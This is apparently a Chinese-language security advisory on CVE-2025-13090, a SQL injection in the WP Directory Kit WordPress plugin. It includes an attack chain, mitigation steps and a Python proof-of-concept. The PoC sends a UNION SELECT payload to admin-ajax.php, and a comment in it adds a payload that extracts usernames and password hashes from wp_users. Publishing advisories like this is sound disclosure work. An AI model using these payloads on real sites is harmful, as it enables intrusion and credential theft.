IPBUF安全漏洞报告
English
CVE-2025-13090 CVSS 4.9 中危

CVE-2025-13090 WP Directory Kit插件SQL注入漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-13090
漏洞类型
SQL注入
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WP Directory Kit (WordPress插件)

相关标签

SQL注入WordPress插件WP Directory KitCVE-2025-13090数据库泄露认证绕过中等严重网络攻击

漏洞概述

WP Directory Kit是WordPress平台上一款流行的目录列表插件。2025年12月,安全研究人员发现该插件存在严重的SQL注入漏洞,漏洞编号为CVE-2025-13090,CVSS评分4.9,属于中等严重程度。该漏洞源于插件对用户输入的'search'参数处理不当,未能进行充分的输入转义,同时SQL查询语句缺少必要的预处理机制。这使得经过身份验证的攻击者(需要管理员级别权限)能够向现有SQL查询中注入额外的恶意SQL语句,从而访问和提取数据库中的敏感信息。漏洞影响范围覆盖1.4.6及之前的所有版本,鉴于WordPress插件的广泛使用,大量网站可能面临数据泄露风险。

技术细节

该SQL注入漏洞存在于WP Directory Kit插件的搜索功能模块中。漏洞产生的根本原因有两点:一是插件在处理用户通过'search'参数提交的输入时,仅进行了基础转义而未达到安全标准;二是SQL查询语句在拼接用户输入前缺少预编译语句的预处理,导致攻击者可以通过构造特制的SQL片段改变原有查询逻辑。攻击者利用此漏洞,可通过发送包含SQL注入payload的HTTP请求,在原有SELECT查询后追加UNION SELECT等语句,从而绕过应用层过滤直接与数据库交互。成功利用后,攻击者能够枚举数据库表结构、读取用户凭据、会话令牌、配置信息等敏感数据。由于该漏洞需要管理员权限,攻击者可能已具备网站后台访问能力,此漏洞主要用于提升攻击成果,如横向移动或持久化控制。

攻击链分析

STEP 1
信息收集
攻击者首先识别目标网站是否使用WP Directory Kit插件,可通过网站源码、插件目录特征或Wappalyzer等工具进行检测
STEP 2
权限获取
攻击者需要获取WordPress管理员级别账户权限,可通过钓鱼、凭据填充、暴力破解或其他攻击手段获得后台登录凭据
STEP 3
会话劫持
使用获取的管理员凭据登录后台,获取有效的session cookie或利用REST API认证获取访问令牌
STEP 4
构造恶意请求
攻击者构造包含SQL注入payload的HTTP请求,针对插件的搜索功能接口(通常为admin-ajax.php)发送精心设计的'search'参数
STEP 5
注入执行
恶意payload被拼接到原始SQL查询中执行,利用UNION SELECT等技术在数据库上执行附加查询
STEP 6
数据提取
通过分析响应内容,攻击者逐步提取数据库中的敏感信息,包括用户表、配置数据等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13090 PoC - WP Directory Kit SQL Injection # Target: WordPress site with WP Directory Kit plugin <= 1.4.6 # Authentication: Requires Administrator-level access def exploit_sqli(target_url, search_param): """ SQL Injection payload for CVE-2025-13090 The 'search' parameter is vulnerable to SQL injection """ # Target endpoint - typically in plugin's search functionality endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # SQL Injection payload - extracts database version # Original query is appended with UNION-based injection injection_payload = f"' UNION SELECT NULL,NULL,@@version,NULL,NULL-- -" # Prepare the request parameters params = { 'action': 'wdk_search', # Common action name for directory search 'search': injection_payload } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: print(f"[*] Sending SQL injection payload to {endpoint}") print(f"[*] Payload: {injection_payload}") response = requests.post(endpoint, data=params, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response length: {len(response.text)} bytes") # Check for database version in response if 'mysql' in response.text.lower() or any(char.isdigit() for char in response.text[:200]): print("[+] Potential successful injection detected") return response.text[:500] else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-13090.py <target_url>") print("Example: python cve-2025-13090.py https://example.com") sys.exit(1) target = sys.argv[1] exploit_sqli(target, 'search') # Additional payload for extracting users table: # ' UNION SELECT user_id,user_login,user_pass,user_email,NULL FROM wp_users-- - # # Note: This PoC requires valid WordPress administrator session cookie # Add cookie to request headers: # headers['Cookie'] = 'wordpress_logged_in_xxx=session_hash'

影响范围

WP Directory Kit <= 1.4.6 (所有版本)

防御指南

临时缓解措施
在等待官方补丁期间,可采取以下临时缓解措施:1) 临时禁用WP Directory Kit插件,待官方发布修复版本后再启用;2) 通过Web应用防火墙添加规则阻止包含SQL注入特征的请求,特别是针对search参数的异常查询;3) 限制管理员账户的登录IP范围,启用双因素认证;4) 加强对数据库的访问控制,确保WordPress数据库用户仅具有必要的最小权限;5) 实施入侵检测系统监控异常数据库查询行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表